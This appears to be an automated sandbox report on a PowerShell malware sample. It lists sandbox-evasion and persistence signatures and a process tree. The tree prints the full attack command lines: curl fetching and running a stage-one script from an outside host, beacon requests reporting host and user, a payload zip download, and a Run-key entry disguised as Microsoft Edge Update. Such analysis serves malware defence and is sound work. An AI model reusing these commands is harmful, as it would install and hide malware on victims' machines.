Analysis

  • max time kernel
    58s
  • max time network
    22s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/11/2026, 16:26

General

  • Target
    code.ps1
  • Size 96B
  • Sample261107-txmcxaes2n
  • SHA256 9b484bb62252064f3318033c8dc769571ba1f54489dc42aa2f94ff2b2a7f6034
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Maps connected drives based on registry 3 TTPs 6 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in Windows directory 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks SCSI registry key(s) 3 TTPs 8 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 48 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 10 IoCs
  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • cURL User-Agent 4 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5992
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c start /min cmd /c "curl -sko %tmp%\~u.cmd https://physioga.net/u/stage1.cmd&%tmp%\~u.cmd"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\system32\cmd.exe
        cmd /c "curl -sko C:\Users\Admin\AppData\Local\Temp\~u.cmd https://physioga.net/u/stage1.cmd&C:\Users\Admin\AppData\Local\Temp\~u.cmd"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3580
        • C:\Windows\system32\curl.exe
          curl -sko C:\Users\Admin\AppData\Local\Temp\~u.cmd https://physioga.net/u/stage1.cmd
          4⤵
            PID:4576
          • C:\Windows\system32\taskkill.exe
            taskkill /f /im edgeupd.exe
            4⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2008
          • C:\Windows\system32\curl.exe
            curl -sk "https://physioga.net/u/c.php?k=cf26&ev=stage1&h=FZFVTIIO&u=Admin"
            4⤵
              PID:1324
            • C:\Windows\system32\curl.exe
              curl -skL -o "C:\Users\Admin\AppData\Local\Temp\~eu.zip" "https://physioga.net/u/go.php?f=p"
              4⤵
                PID:2000
              • C:\Windows\system32\tar.exe
                tar -xf "C:\Users\Admin\AppData\Local\Temp\~eu.zip" -C "C:\Users\Admin\AppData\Local\Programs\EdgeUpdate"
                4⤵
                  PID:4584
                • C:\Windows\system32\reg.exe
                  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeUpdate" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Programs\EdgeUpdate\edgeupd.exe\"" /f
                  4⤵
                  • Adds Run key to start application
                  PID:360
                • C:\Users\Admin\AppData\Local\Programs\EdgeUpdate\edgeupd.exe
                  "C:\Users\Admin\AppData\Local\Programs\EdgeUpdate\edgeupd.exe"
                  4⤵
                  • Executes dropped EXE
                  • Maps connected drives based on registry
                  • Reads the TCP/IP host and domain name from the registry
                  • Checks SCSI registry key(s)
                  • Checks processor information in registry
                  • Enumerates system info in registry
                  PID:4640
                • C:\Windows\system32\curl.exe
                  curl -sk "https://physioga.net/u/c.php?k=cf26&ev=ran&h=FZFVTIIO&u=Admin"
                  4⤵
                    PID:1256
            • C:\Users\Admin\AppData\Local\Programs\EdgeUpdate\edgeupd.exe
              "C:\Users\Admin\AppData\Local\Programs\EdgeUpdate\edgeupd.exe"
              1⤵
              • Executes dropped EXE
              • Maps connected drives based on registry
              • Drops file in Windows directory
              • Reads the TCP/IP host and domain name from the registry
              • Checks SCSI registry key(s)
              • Checks processor information in registry
              • Enumerates system info in registry
              PID:1328

            Network

                  MITRE ATT&CK Enterprise v16

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                  Downloads

                  ~eu.zip

                  • Path C:\Users\Admin\AppData\Local\Temp\~eu.zip
                  • Size 39.3MB
                  • SHA256 29962aedce57f8db087fb2d4e9d8d38288fa7ca618c2e44d5cf8f893abe0e340
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  ~u.cmd

                  • Path C:\Users\Admin\AppData\Local\Temp\~u.cmd
                  • Size 705B
                  • SHA256 ae7ca54128c242a0156ba3a4074ad1af43a0bccc1e58a6126bf1dfd7084da987
                  • MD5 SHA1 SHA512 TLSH

                  memory/5992-0-0x00007FFF1A7AF000-0x00007FFF1A7B0000-memory.dmp

                  memory/5992-4-0x000001ED901C0000-0x000001ED901E2000-memory.dmp

                  memory/5992-1-0x00007FFF1A620000-0x00007FFF1AFC4000-memory.dmp

                  memory/5992-5-0x00007FFF1A620000-0x00007FFF1AFC4000-memory.dmp

                  memory/5992-6-0x00007FFF1A620000-0x00007FFF1AFC4000-memory.dmp

                  memory/5992-8-0x00007FFF1A620000-0x00007FFF1AFC4000-memory.dmp

                  memory/5992-9-0x00007FFF1A620000-0x00007FFF1AFC4000-memory.dmp